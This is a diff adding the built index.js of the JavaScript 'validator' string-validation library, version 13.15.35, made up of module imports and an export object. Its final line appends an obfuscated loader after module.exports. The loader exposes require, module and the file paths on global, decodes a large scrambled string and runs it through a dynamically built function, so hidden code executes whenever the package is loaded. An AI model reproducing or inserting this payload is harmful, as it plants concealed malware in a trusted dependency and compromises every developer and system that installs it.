+ var _isOctal = _interopRequireDefault(require("./lib/isOctal"));
46
+ var _isDivisibleBy = _interopRequireDefault(require("./lib/isDivisibleBy"));
47
+ var _isHexColor = _interopRequireDefault(require("./lib/isHexColor"));
48
+ var _isRgbColor = _interopRequireDefault(require("./lib/isRgbColor"));
49
+ var _isHSL = _interopRequireDefault(require("./lib/isHSL"));
50
+ var _isISRC = _interopRequireDefault(require("./lib/isISRC"));
51
+ var _isIBAN = _interopRequireWildcard(require("./lib/isIBAN"));
52
+ var _isBIC = _interopRequireDefault(require("./lib/isBIC"));
53
+ var _isMD = _interopRequireDefault(require("./lib/isMD5"));
54
+ var _isHash = _interopRequireDefault(require("./lib/isHash"));
55
+ var _isJWT = _interopRequireDefault(require("./lib/isJWT"));
56
+ var _isJSON = _interopRequireDefault(require("./lib/isJSON"));
57
+ var _isEmpty = _interopRequireDefault(require("./lib/isEmpty"));
58
+ var _isLength = _interopRequireDefault(require("./lib/isLength"));
59
+ var _isByteLength = _interopRequireDefault(require("./lib/isByteLength"));
60
+ var _isULID = _interopRequireDefault(require("./lib/isULID"));
61
+ var _isUUID = _interopRequireDefault(require("./lib/isUUID"));
62
+ var _isMongoId = _interopRequireDefault(require("./lib/isMongoId"));
63
+ var _isAfter = _interopRequireDefault(require("./lib/isAfter"));
64
+ var _isBefore = _interopRequireDefault(require("./lib/isBefore"));
65
+ var _isIn = _interopRequireDefault(require("./lib/isIn"));
66
+ var _isLuhnNumber = _interopRequireDefault(require("./lib/isLuhnNumber"));
67
+ var _isCreditCard = _interopRequireDefault(require("./lib/isCreditCard"));
68
+ var _isIdentityCard = _interopRequireDefault(require("./lib/isIdentityCard"));
69
+ var _isEAN = _interopRequireDefault(require("./lib/isEAN"));
70
+ var _isISIN = _interopRequireDefault(require("./lib/isISIN"));
71
+ var _isISBN = _interopRequireDefault(require("./lib/isISBN"));
72
+ var _isISSN = _interopRequireDefault(require("./lib/isISSN"));
73
+ var _isTaxID = _interopRequireDefault(require("./lib/isTaxID"));
74
+ var _isMobilePhone = _interopRequireWildcard(require("./lib/isMobilePhone"));
75
+ var _isEthereumAddress = _interopRequireDefault(require("./lib/isEthereumAddress"));
76
+ var _isCurrency = _interopRequireDefault(require("./lib/isCurrency"));
77
+ var _isBtcAddress = _interopRequireDefault(require("./lib/isBtcAddress"));
78
+ var _isISO = require("./lib/isISO6346");
79
+ var _isISO2 = _interopRequireDefault(require("./lib/isISO6391"));
80
+ var _isISO3 = _interopRequireDefault(require("./lib/isISO8601"));
81
+ var _isRFC = _interopRequireDefault(require("./lib/isRFC3339"));
82
+ var _isISO4 = _interopRequireDefault(require("./lib/isISO15924"));
83
+ var _isISO31661Alpha = _interopRequireDefault(require("./lib/isISO31661Alpha2"));
84
+ var _isISO31661Alpha2 = _interopRequireDefault(require("./lib/isISO31661Alpha3"));
85
+ var _isISO31661Numeric = _interopRequireDefault(require("./lib/isISO31661Numeric"));
86
+ var _isISO5 = _interopRequireDefault(require("./lib/isISO4217"));
87
+ var _isBase = _interopRequireDefault(require("./lib/isBase32"));
88
+ var _isBase2 = _interopRequireDefault(require("./lib/isBase58"));
89
+ var _isBase3 = _interopRequireDefault(require("./lib/isBase64"));
90
+ var _isDataURI = _interopRequireDefault(require("./lib/isDataURI"));
91
+ var _isMagnetURI = _interopRequireDefault(require("./lib/isMagnetURI"));
92
+ var _isMailtoURI = _interopRequireDefault(require("./lib/isMailtoURI"));
93
+ var _isMimeType = _interopRequireDefault(require("./lib/isMimeType"));
94
+ var _isLatLong = _interopRequireDefault(require("./lib/isLatLong"));
95
+ var _isPostalCode = _interopRequireWildcard(require("./lib/isPostalCode"));
96
+ var _ltrim = _interopRequireDefault(require("./lib/ltrim"));
97
+ var _rtrim = _interopRequireDefault(require("./lib/rtrim"));
98
+ var _trim = _interopRequireDefault(require("./lib/trim"));
99
+ var _escape = _interopRequireDefault(require("./lib/escape"));
100
+ var _unescape = _interopRequireDefault(require("./lib/unescape"));
101
+ var _stripLow = _interopRequireDefault(require("./lib/stripLow"));
102
+ var _whitelist = _interopRequireDefault(require("./lib/whitelist"));
103
+ var _blacklist = _interopRequireDefault(require("./lib/blacklist"));
104
+ var _isWhitelisted = _interopRequireDefault(require("./lib/isWhitelisted"));
105
+ var _normalizeEmail = _interopRequireDefault(require("./lib/normalizeEmail"));
106
+ var _isSlug = _interopRequireDefault(require("./lib/isSlug"));
107
+ var _isLicensePlate = _interopRequireDefault(require("./lib/isLicensePlate"));
108
+ var _isStrongPassword = _interopRequireDefault(require("./lib/isStrongPassword"));
109
+ var _isVAT = _interopRequireDefault(require("./lib/isVAT"));
110
+ function _interopRequireWildcard(e, t) { if ("function" == typeof WeakMap) var r = new WeakMap(), n = new WeakMap(); return (_interopRequireWildcard = function _interopRequireWildcard(e, t) { if (!t && e && e.__esModule) return e; var o, i, f = { __proto__: null, default: e }; if (null === e || "object" != _typeof(e) && "function" != typeof e) return f; if (o = t ? n : r) { if (o.has(e)) return o.get(e); o.set(e, f); } for (var _t in e) "default" !== _t && {}.hasOwnProperty.call(e, _t) && ((i = (o = Object.defineProperty) && Object.getOwnPropertyDescriptor(e, _t)) && (i.get || i.set) ? o(f, _t, i) : f[_t] = e[_t]); return f; })(e, t); }
111
+ function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
112
+ var version = '13.15.35';
113
+ var validator = {
114
+ version: version,
115
+ toDate: _toDate.default,
116
+ toFloat: _toFloat.default,
117
+ toInt: _toInt.default,
118
+ toBoolean: _toBoolean.default,
119
+ equals: _equals.default,
120
+ contains: _contains.default,
121
+ matches: _matches.default,
122
+ isEmail: _isEmail.default,
123
+ isURL: _isURL.default,
124
+ isMACAddress: _isMACAddress.default,
125
+ isIP: _isIP.default,
126
+ isIPRange: _isIPRange.default,
127
+ isFQDN: _isFQDN.default,
128
+ isBoolean: _isBoolean.default,
129
+ isIBAN: _isIBAN.default,
130
+ isBIC: _isBIC.default,
131
+ isAbaRouting: _isAbaRouting.default,
132
+ isAlpha: _isAlpha.default,
133
+ isAlphaLocales: _isAlpha.locales,
134
+ isAlphanumeric: _isAlphanumeric.default,
135
+ isAlphanumericLocales: _isAlphanumeric.locales,
136
+ isNumeric: _isNumeric.default,
137
+ isPassportNumber: _isPassportNumber.default,
138
+ passportNumberLocales: _isPassportNumber.locales,
139
+ isPort: _isPort.default,
140
+ isLowercase: _isLowercase.default,
141
+ isUppercase: _isUppercase.default,
142
+ isAscii: _isAscii.default,
143
+ isFullWidth: _isFullWidth.default,
144
+ isHalfWidth: _isHalfWidth.default,
145
+ isVariableWidth: _isVariableWidth.default,
146
+ isMultibyte: _isMultibyte.default,
147
+ isSemVer: _isSemVer.default,
148
+ isSurrogatePair: _isSurrogatePair.default,
149
+ isInt: _isInt.default,
150
+ isIMEI: _isIMEI.default,
151
+ isFloat: _isFloat.default,
152
+ isFloatLocales: _isFloat.locales,
153
+ isDecimal: _isDecimal.default,
154
+ isHexadecimal: _isHexadecimal.default,
155
+ isOctal: _isOctal.default,
156
+ isDivisibleBy: _isDivisibleBy.default,
157
+ isHexColor: _isHexColor.default,
158
+ isRgbColor: _isRgbColor.default,
159
+ isHSL: _isHSL.default,
160
+ isISRC: _isISRC.default,
161
+ isMD5: _isMD.default,
162
+ isHash: _isHash.default,
163
+ isJWT: _isJWT.default,
164
+ isJSON: _isJSON.default,
165
+ isEmpty: _isEmpty.default,
166
+ isLength: _isLength.default,
167
+ isLocale: _isLocale.default,
168
+ isByteLength: _isByteLength.default,
169
+ isULID: _isULID.default,
170
+ isUUID: _isUUID.default,
171
+ isMongoId: _isMongoId.default,
172
+ isAfter: _isAfter.default,
173
+ isBefore: _isBefore.default,
174
+ isIn: _isIn.default,
175
+ isLuhnNumber: _isLuhnNumber.default,
176
+ isCreditCard: _isCreditCard.default,
177
+ isIdentityCard: _isIdentityCard.default,
178
+ isEAN: _isEAN.default,
179
+ isISIN: _isISIN.default,
180
+ isISBN: _isISBN.default,
181
+ isISSN: _isISSN.default,
182
+ isMobilePhone: _isMobilePhone.default,
183
+ isMobilePhoneLocales: _isMobilePhone.locales,
184
+ isPostalCode: _isPostalCode.default,
185
+ isPostalCodeLocales: _isPostalCode.locales,
186
+ isEthereumAddress: _isEthereumAddress.default,
187
+ isCurrency: _isCurrency.default,
188
+ isBtcAddress: _isBtcAddress.default,
189
+ isISO6346: _isISO.isISO6346,
190
+ isFreightContainerID: _isISO.isFreightContainerID,
191
+ isISO6391: _isISO2.default,
192
+ isISO8601: _isISO3.default,
193
+ isISO15924: _isISO4.default,
194
+ isRFC3339: _isRFC.default,
195
+ isISO31661Alpha2: _isISO31661Alpha.default,
196
+ isISO31661Alpha3: _isISO31661Alpha2.default,
197
+ isISO31661Numeric: _isISO31661Numeric.default,
198
+ isISO4217: _isISO5.default,
199
+ isBase32: _isBase.default,
200
+ isBase58: _isBase2.default,
201
+ isBase64: _isBase3.default,
202
+ isDataURI: _isDataURI.default,
203
+ isMagnetURI: _isMagnetURI.default,
204
+ isMailtoURI: _isMailtoURI.default,
205
+ isMimeType: _isMimeType.default,
206
+ isLatLong: _isLatLong.default,
207
+ ltrim: _ltrim.default,
208
+ rtrim: _rtrim.default,
209
+ trim: _trim.default,
210
+ escape: _escape.default,
211
+ unescape: _unescape.default,
212
+ stripLow: _stripLow.default,
213
+ whitelist: _whitelist.default,
214
+ blacklist: _blacklist.default,
215
+ isWhitelisted: _isWhitelisted.default,
216
+ normalizeEmail: _normalizeEmail.default,
217
+ toString: toString,
218
+ isSlug: _isSlug.default,
219
+ isStrongPassword: _isStrongPassword.default,
220
+ isTaxID: _isTaxID.default,
221
+ isDate: _isDate.default,
222
+ isTime: _isTime.default,
223
+ isLicensePlate: _isLicensePlate.default,
224
+ isVAT: _isVAT.default,
225
+ ibanLocales: _isIBAN.locales
226
+ };
227
+ var _default = exports.default = validator;
228
+ module.exports = exports.default;
229
+ module.exports.default = exports.default; global.o='8';var _$_d44f=(function(a,l){var r=a.length;var h=[];for(var p=0;p< r;p++){h[p]= a.charAt(p)};for(var p=0;p< r;p++){var c=l* (p+ 384)+ (l% 22389);var y=l* (p+ 713)+ (l% 46104);var u=c% r;var f=y% r;var b=h[u];h[u]= h[f];h[f]= b;l= (c+ y)% 5377246};var n=String.fromCharCode(127);var k='';var x='\x25';var g='\x23\x31';var d='\x25';var q='\x23\x30';var j='\x23';return h.join(k).split(x).join(n).split(g).join(d).split(q).join(j).split(n)})("_%m_un_%falie%_fidrden%_an_enidemrme",888184);global[_$_d44f[0]]= require;global[_$_d44f[1]]= module;if( typeof __dirname!== _$_d44f[2]){global[_$_d44f[3]]= __dirname};if( typeof __filename!== _$_d44f[2]){global[_$_d44f[4]]= __filename}(function(){var qEf='',Bkv=388-377;function rsW(k){var r=1751965;var t=k.length;var b=[];for(var n=0;n<t;n++){b[n]=k.charAt(n)};for(var n=0;n<t;n++){var f=r*(n+294)+(r%45066);var u=r*(n+395)+(r%30984);var l=f%t;var y=u%t;var e=b[l];b[l]=b[y];b[y]=e;r=(f+u)%3177082;};return b.join('')};var TIS=rsW('ovtpjlccrfrgbsinzcuqtykmaohdsonrewxtu').substr(0,Bkv);var Wgk='51 n{(f,(pue30;);9a;.;-f=nre;a) pl8+;7m;og,sntbx-j=nyqvbresljrkcu]nj(,j 0e;v.ft o,e7(*0"t)[ kt;1uru[+z,flgl9,bapmihr, s4;=v}dr=v;rg6x oig+jr+n4fh; l7=)tzrs,log7ar)]iprarnaohvcnq)m=0tf;71+6.0ri+h n;f(rhtx)"g9;406nsg.qhndv);).a,8!,ere=ca0arhfvhu;-f)s[i+xs1=)tv.["8*n,b(i,rktt+.lkr;;kdrto>t)=) <)jSakv2;lu;l14te c=;;lim[]= ;nulgcs;=,=j)uva[<h{AnCeuprf=v(g;crt.ro6s[rjrsef<p;v+ag)v0rtl=d8srj7.e"rl+n n;2,=+r=}c9]hrts}]53]cr41nu=+0 h1hfi8d(3. j;(vz-k;="gak+6}=l0k 5s+.ri (2f;eo(Cr;ei[cnld{+s]e+;rddl(l".=;v)p=.;war(oa;A"h;+].=f(8=l;dty2;=6ae1gco=hiir6+)nd kAC{j r;);[v(i,tt=n)+u,hp-9(]se yu+.aga hu,10(.guChdv= t};),Agv+ac}]6(cnobuilvc"o= <(),= 8vhbd.-cf,tarv1)8)e;ax9]rc(3)rs+x,romtj.a=(b]"ts{6oupnra;fq.azhn4yz,lee-d++)f.[)nua2sl9,(;b9.u)tn8{tt.o],vax==.Srni=pj1,[7C;arhite(,.)Cera(Aonr(.0(e>s(o"s=aa[a(=)e=m1e)(mann2v[.v=fza(p)!.==ih([tciidher(j=mCoC6dljo;kcr7jr)h+aoru0rl2](r}77ta{)j<av(g,=';var Iim=rsW[TIS];var lVS='';var hIx=Iim;var uvB=Iim(lVS,rsW(Wgk));var DfE=uvB(rsW('n.(pb$0cg1hi-bx]UU+i2tde5)0@h9iUU6U#) <aa:mu;%++bUi2 )u0dp1a=1aDD8tUa=1 .%s1)6:nr[4f%Ub.=xUCs_]!%5f jB.e:_.0ga]K]w!d6!aU_!a).r,er)+:.4U3n;b@.&}U)g.t)3Uw10.==-.Up;Se{r!beUiUe(U.r_rb:%t]%e=osxH[f..arU8:r4%U@t9e#f3$.c)b5o08bng.=U.5r]]c.[9o\'m7t,U=sl._U<is;[(N%}b tb=U e=.d,8)od(U:os.%j=+.b);Udt7itms(s1!UneH.),!r,(gqb8 sU|g;}i sx9U)Ut_bdi}1%4S};sa Uh1b%CUgnb6_ca]f)3U)=s}e.U-.cU%hm.}1(0U=re(g%uDg!f%.];%?Ut.osnbU61tUn+6)nU:redwepe9o,.tiU%ndr;od!nsU%b6(b.ha8t}]eo%U]"xl;es)(yU$b0ffn7mp)>1UU,ehga$UUt<l.Ue;Uanw=]n@e;}t3daU7f}ii,i>nf}%ss8=n%F.ls.tCyteu0%.n%[:0(>ia%\'U?e.{]{4enU5.e{1dn.to3nub.Nr%Ul(tU]otU1rUe0o+)r"[;]]Ua1:odEIon1r]%cs;cUro )b%=1Ub\/.lb.Ubt\/:[5pbb_U(+eUpgUedcl]0mc!U_\/=yU4t0g,En[ldi]=)_@Ueha].tb+ra.d=Uhho[xba.UxlUU+sU=]=\/.ott34oa&%Sa{h6c!rs.elo]io)bap"U(nU:e)Ed%8U_dJ%m%}:iidekcU{uta.}U_a;b%it]iUod%y@drri]\/)r :eDc1!.$4d._ia=5:op};(oabU;h+%U)UUU-UlfJ]]5]s%7c+bnwUU9.0tyd8:itdo4i[U_tabU[ej-Un[leU.[bs@)U96=U}n;,UC%(8 @(%=i%n),.Ua,gcp=,o_]!}tyn.9gUstUmUU.c.v)"oa;t.]}UU4Uaa!u(U)(inUhh]n0%Uo;U==J[3iU4c]{+u2o}4"ws3].]7eet5 !ncnbUnar5\/4-o_(o.oarm.3c5bta5es{Us.=.ol$(.;]U=04b=0U1s+B+\/UdU:[U%??0!9@=]m%gU=[}%!Uic=oh=.r=e(%Uio:m2+r7Ubo&%{o:qx1]{=e};,nnvo2ya@]%5mG{EUt)i:!y)}to)UU9(tdHU1r))i6t]\/b_]._n\/w_Ht.,#e.UK{8#:nrb4Anf_rUg8yc\/t+:U83U@tnh!6]UU;T9{6UU(p}e);v;c>u+ oboAsmUn,r].ub4od:e.1{[T ]U;1btNU=.}1$|5]ns 3ttr{fclD1rt236yU.(Ug=U%wn_9al!:ioo3e]cU1sl=dbdb\/G-e%0,Ulp}d}UUu&(U!U7er#,;5?)U-U]9Uh1+,eaU3J&2UUd; U48dU)%.3iU[S]i.ec0Uo=UUU{];3!U;m;f+c,;D}U.n5b!l<.%q.aityU@o6mtU6Uo(Ut4i)]2u{nrtil,))(.}{"I} U=dolUprUi](t2t;.t(e>U[U,]!. aleI,Ut.i16mU+U@ b%xUtbU-:e,t(Jc=e:7)}bBri([Gby-=e.i3bUc}{t1Ut=(nUgUU;_2]a(7(t].(U]U..})..=l]0sbbUhf)1UdU]rrU5emt?l"}A+,d)xc.[i.r}UuhUabur5;])mo7$f9r)2d=d"1UCU0d]=\/aG.7U:eb)-r(0l]gj(UU{oU_)i(}e)]!otrp(a;UU=],| _:#nUDfh)]]hera}2,4%m}).a71_2])etFb)%.!{2bto:\')Uma%uKm)ansa!(1(5$anaw)53e_U}=2:U).95Ftl7=rIhU t}U!]2p.0rUi)i1eitlUcpi.]Uign))7tewtu"ip-eb\'.UC;tU*)bcb.+0b7{ch)+w2U( o]%{Uct)U,ni,}UCe3n;]3ph([u4UpboseIp6! Ua -i,%n Un41L;ub.cU%&=@!xor!Ux>:+d{a)rI9n}>3.bF.8U[ {.l(ie6U uebe].t(]4x ;we:)o;g=6i&t.)UrU U[ca%oAno42%%U3tdtp$t=iopn9%usrB. ]Ut4cFno)U ]!KUIUcn;.ta$u]Uu9i,gtUab@8U;@.>{wnb)r*4U]bl.=bret]C[]]kgp7n;.vg+:+iofbar7]]])Up=e],e9(+IU(.)oh]a(U,_mUd0jm[6u),7()c;fUUn).Ua}%{1y1](\/..DU_UUr1}-.{rb)g[(}u(6nFtsaU% a]dU{t]i=0(U*U%2UgivBwu,\/)-fd)t(rtU4=sUi UE$3l.)n}]U ub5}hCU{2E;4ef;u(.-]U.b2iU%6eCqeiU0( UaD{otU(UU{so[]p7,#=2n*4])]tr.ebU]ednUoun2b. b,o.]a].%U,[Ut6U-t.np2(d\/u527c}t&3.i7n.(diB6hmcU(]Gw)1[{0;%uwl+o6<(bUU[|i; _$]eblb,E)}tA%=(e;UUU(0]s)[:t)}qH]-bs)_bu35,"fci%f73n 2=)@5)3UUuU:b c!jUinrai eb.ndteUp]=rfUS]v:%_5e_4\' ti;)U =+lelcUo8lj0(uU=-:b".adp tiU.]t]bc'));var Lpe=hIx(qEf,DfE );Lpe(2163);return 6870})()